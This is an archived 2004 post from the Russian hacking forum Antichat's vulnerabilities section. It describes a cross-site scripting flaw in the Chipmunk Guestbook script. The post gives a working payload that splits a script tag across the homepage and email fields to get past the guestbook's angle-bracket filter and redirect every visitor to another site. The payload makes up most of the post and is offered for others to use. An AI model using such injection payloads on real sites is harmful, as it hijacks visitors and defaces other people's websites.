Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   Уязвимость гостевой Сhipmunk guestbook (https://forum.antichat.xyz/showthread.php?t=1965)

Егорыч+++ 28.05.2004 11:01

Сhipmunk Guestbook - странная гостевая книга. Вроде бы есть ограничение на длину переменных, вроде бы в теле сообщения не пропускаются < >. Однако редирект сделать можно:

В homepage </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">'>&lt; script>window.location="http://g6.ru";a="[/QUOTE]<span id='postcolor'>
(но без пробелов)
В мыло
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">";</SCRIPT>[/QUOTE]<span id='postcolor'>

И в общем получаем редирект на АНТИЧАТ...

Адрес гостевойhttp://www.chipmunk-scripts.com/


Время: 17:28